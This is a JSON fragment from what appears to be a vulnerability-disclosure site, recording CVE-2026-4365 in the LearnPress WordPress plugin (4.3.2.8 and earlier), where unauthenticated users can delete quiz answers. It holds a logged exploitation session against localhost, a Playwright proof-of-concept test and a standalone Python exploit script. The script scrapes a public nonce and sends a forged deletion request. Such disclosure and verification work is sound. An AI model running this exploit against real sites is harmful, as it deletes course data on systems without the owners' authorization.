\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Flearnpress\u002Finc\u002Fclass-lp-assets.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\npublic function localize_data_global(): array { $cover_image_dimensions = LP_Settings::get_option( 'cover_image_dimensions', array( 'width' => 1290, 'height' => 250, ) ); $aspectRatio = $cover_image_dimensions['width'] \u002F $cover_image_dimensions['height']; return apply_filters( 'learn-press\u002Ffrontend\u002Flocalize-data-global', [ 'site_url' => site_url(), 'user_id' => get_current_user_id(), 'theme' => get_stylesheet(), 'lp_rest_url' => get_rest_url(), 'nonce' => wp_create_nonce( 'wp_rest' ), 'is_course_archive' => LP_Page_Controller::is_page_courses(), 'courses_url' => learn_press_get_page_link( 'courses' ), 'urlParams' => lp_archive_skeleton_get_args(), 'lp_version' => LearnPress::instance()->version, 'lp_rest_load_ajax' => get_rest_url( null, 'lp\u002Fv1\u002Fload_content_via_ajax\u002F' ), \u002F\u002F @deprecated 4.3.0 'ajaxUrl' \n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp post create --post_type=page --post_title=\"LP Page\" --post_status=publish --post_content='[learn_press_archive_course]'`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSuccess: Created post 14.\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-login.php?action=logout","**Click:** `text=log out`","**Navigate:** http:\u002F\u002Flocalhost:8080\u002F?page_id=14","**browser_eval:** {\"script\":\"window.lpData?.nonce\"}","**HTTP POST:** `http:\u002F\u002Flocalhost:8080\u002Flp-page\u002F`\n**Body:** `lp-load-ajax=delete_question_answer&nonce=082ccde92d&data={\"question_id\":13,\"question_answer_id\":1}`\n\u003Cdetails>\u003Csummary>Response\u003C\u002Fsummary>\n\n```\nHTTP 200 OK\n{\"status\":\"success\",\"message\":\"Question answer deleted successfully\",\"data\":{}}\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp db query \"SELECT * FROM wp_learnpress_question_answers WHERE question_answer_id = 1;\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\n```\n\u003C\u002Fdetails>","Verified that the target question answer with ID 1 exists in the database before exploitation. Then sent an unauthenticated POST request to the \u002Flp-page\u002F endpoint (which triggers the vulnerable LearnPress AJAX handler) with the 'lp-load-ajax' action set to 'delete_question_answer'. The request included a valid 'wp_rest' nonce extracted from the public frontend and a JSON-encoded 'data' parameter containing the target 'question_id' and 'question_answer_id'. The server responded with a success message.","2026-04-17 17:29:44","6.7","8.3","import { test, expect } from '@playwright\u002Ftest';\n\n\u002F**\n * PoC for CVE-2026-4365: LearnPress Missing Authorization for Quiz Answer Deletion\n * \n * Setup:\n * 1. Install LearnPress \u003C= 4.3.2.8\n * 2. Create a Quiz and a Question\n * 3. Add an answer option to that question\n *\u002F\ntest('unauthenticated quiz answer deletion', async ({ page, request }) => {\n  const targetUrl = 'http:\u002F\u002Flocalhost:8080\u002Flp-page\u002F';\n  \n  \u002F\u002F 1. Navigate to a public page to get the nonce\n  await page.goto(targetUrl);\n  \n  \u002F\u002F 2. Extract the nonce from the lpData object\n  const nonce = await page.evaluate(() => window.lpData?.nonce);\n  console.log(`Extracted nonce: ${nonce}`);\n  expect(nonce).toBeDefined();\n\n  \u002F\u002F 3. Define target IDs (Assuming question ID 13 and answer ID 1 exist from setup)\n  const questionId = 13;\n  const answerId = 1;\n\n  \u002F\u002F 4. Send the malicious POST request\n  const response = await request.post(targetUrl, {\n    form: {\n      'lp-load-ajax': 'delete_question_answer',\n      'nonce': nonce,\n      'data': JSON.stringify({\n        'question_id': questionId,\n        'question_answer_id': answerId\n      })\n    }\n  });\n\n  const responseBody = await response.json();\n  console.log('Response:', responseBody);\n\n  \u002F\u002F 5. Verify the response indicates success\n  expect(response.status()).toBe(200);\n  expect(responseBody.status).toBe('success');\n  expect(responseBody.message).toBe('Question answer deleted successfully');\n});\n","import requests\nimport json\nimport re\n\n# TARGET_URL can be any page on the site because LearnPress hooks into the 'init' action\nTARGET_URL = \"http:\u002F\u002Flocalhost:8080\u002Flp-page\u002F\"\n\ndef exploit():\n    session = requests.Session()\n    \n    # Step 1: Extract the wp_rest nonce from the frontend\n    print(f\"[*] Extracting nonce from {TARGET_URL}...\")\n    response = session.get(TARGET_URL)\n    nonce_match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', response.text)\n    \n    if not nonce_match:\n        print(\"[-] Could not find nonce in the page content.\")\n        return\n\n    nonce = nonce_match.group(1)\n    print(f\"[+] Found nonce: {nonce}\")\n\n    # Step 2: Target IDs (for PoC purposes, we use known IDs created during setup)\n    # In a real attack, these could be enumerated.\n    question_id = 13\n    answer_id = 1\n\n    # Step 3: Send the unauthorized deletion request\n    payload = {\n        \"lp-load-ajax\": \"delete_question_answer\",\n        \"nonce\": nonce,\n        \"data\": json.dumps({\n            \"question_id\": question_id,\n            \"question_answer_id\": answer_id\n        })\n    }\n\n    print(f\"[*] Attempting to delete answer {answer_id} for question {question_id}...\")\n    response = session.post(TARGET_URL, data=payload)\n    \n    print(f\"[*] Server Response: {response.text}\")\n    \n    if '\"status\":\"success\"' in response.text:\n        print(\"[+] Exploit successful: The quiz answer was deleted.\")\n    else:\n        print(\"[-] Exploit failed or the answer did not exist.\")\n\nif __name__ == \"__main__\":\n    exploit()\n",{"type":86,"vulnerable_version":87,"fixed_version":11,"vulnerable_browse":88,"vulnerable_zip":89,"fixed_browse":90,"fixed_zip":91,"all_tags":92},"plugin","4.3.2.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags\u002F4.3.2.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress.4.3.2.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags\u002F4.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress.4.3.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags"]